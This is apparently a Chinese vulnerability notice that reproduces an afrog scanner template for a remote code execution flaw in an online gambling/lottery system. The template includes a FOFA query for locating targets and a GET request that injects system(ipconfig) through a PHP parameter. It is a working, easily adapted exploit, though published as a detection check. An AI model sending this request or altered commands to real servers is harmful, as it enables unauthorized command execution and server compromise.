laojiumen-caipiao-rce: 某彩票任意代码执行漏洞

漏洞描述

网络赌博是指通过互联网手段（非法赌博网站、博彩App、微信群等）进行的赌博活动。由于网络赌博不合法，资金不受法律保护，有很多“出老千”的行为，很多人被骗后往往不敢报警，导致家破人亡，所以打击赌博，刻不容缓。某菠菜系统系统存在任意代码执行漏洞，攻击者通过漏洞可以执行任意命令，导致服务器失陷。 fofa-query: newindex/static/js/16070610231968312.js

PoC代码[已公开]

id: laojiumen-caipiao-rce

info:
  name: 某彩票 任意代码执行漏洞
  author: daffainfo
  severity: critical
  verified: true
  description: |
    网络赌博是指通过互联网手段（非法赌博网站、博彩App、微信群等）进行的赌博活动。由于网络赌博不合法，资金不受法律保护，有很多“出老千”的行为，很多人被骗后往往不敢报警，导致家破人亡，所以打击赌博，刻不容缓。某菠菜系统系统存在任意代码执行漏洞，攻击者通过漏洞可以执行任意命令，导致服务器失陷。
    fofa-query: newindex/static/js/16070610231968312.js
  reference:
    - https://mp.weixin.qq.com/s/0GeRopFCuU-cSnYZDz9IxQ


rules:
  r0:
    request:
      method: GET
      path: /lib/classes/googleChart/markers/GoogleChartMapMarker.php?google88990=system(ipconfig);
    expression: response.status == 200 && response.body.bcontains(b'Windows IP')
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/laojiumen-caipiao-rce.yaml